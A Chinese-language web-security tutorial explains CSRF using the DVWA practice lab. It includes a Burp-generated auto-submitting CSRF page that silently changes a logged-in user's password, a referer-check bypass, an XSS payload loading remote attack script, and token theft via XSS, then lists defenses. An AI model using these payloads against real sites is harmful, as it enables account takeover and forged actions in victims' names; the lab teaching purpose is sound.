web安全-----CSRF漏洞
簡述
CSRF:Cross-site request -forgery,跨站請求偽造,是一種web攻擊方式,是由于網站的cookie在瀏覽器中不會過期,只要不關閉瀏覽器或者退出登錄,那以后只要訪問這個網站,都會默認你已經登錄。
危害
攻擊者可以利用你的身份,以你的名義發送惡意請求。cerf能夠做的事情包括:以你的名義發送郵件,發信息,盜取你的賬號,甚至購買商品,虛擬商品轉賬
CSRF之POC制作
測試環境:DVWA的CSRF,low
1、利用burpsuit生成CSRF_POC
打開要測試的頁面,burpsuit攔截
右鍵,找到下圖的東西
點擊Generate CSRF Poc
由于burp生成的poc需要點擊按鈕才能觸發 用戶很難上當受騙 這里用js添加一個自動點擊事件,
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><iframe name="target" style="display: none;"></iframe><!--iframe將作為跳轉的接收頁,為了隱藏我們使用display:none,不顯示--><form action="http://IP/dvwa/vulnerabilities/csrf/" id="form" target="target"><input type="hidden" name="password_new" value="123456" /><input type="hidden" name="password_conf" value="123456" /><input type="hidden" name="Change" value="Change" /></form><script>var form = document.getElementById("form");form.submit();</script></body> </html>將此html放在自己服務器上,保證能訪問到,dvwa這邊處于登陸狀態,然后使用同一瀏覽器,訪問剛剛構造的POC,DVWA默認的密碼為password
http://IP/csrf/csrf.html
密碼成功修改
2、csrf繞過referer驗證
很多網站會通過驗證referer是否合法來判斷是否是用戶操作,但是他可能只是驗證referer中是否
包含該網站的referer。如DVWA的判斷原理是取出請求中的referer值,然后將host的值取出,然
后判斷在referer值中有沒有出現host值,如果出現則認為是正常請求,否則就拒絕請求。
繞過思路:將攻擊文件的文件名改為該網站的域名(請求時的host值).
3、結合XSS
構造我們的payload,使用DVWA的反射型XSS測試
訪問之后,成功修改
另一種方式:
payload
<script src="http://192.168.1.7/st_test/csrf/csrf_js_poc.js"> </script>4、csrf結合xss繞過token防御
token作為身份令牌,如果該值足夠隨機,那么安全系數將是很高的,按照這種邏輯這里不應該
存在csrf漏洞,但是如果網站存在XSS漏洞的話,那么這里的token就將形同虛設。我們可以利用
xss獲取到token值,然后利用該值發起請求,從而構造相應從csrf攻擊。但是這里存在一個問
題,那就是同源策略會限制我們的腳本,這里我們只能打出token,然后再誘惑用戶點擊我們構造
的頁面,這樣也會造成危害,但是這里由于token隨機性,可能每次刷新頁面就會失效,所以可
利用的概率就比較小了。
防御
- 關鍵操作增加驗證碼
- 驗證referer
- 使用足夠隨機的token
總結
以上是生活随笔為你收集整理的web安全-----CSRF漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 许昌治疗子宫内膜异位症最好的医院推荐
- 下一篇: 什么投影仪最适合家用?几百块的投影仪靠谱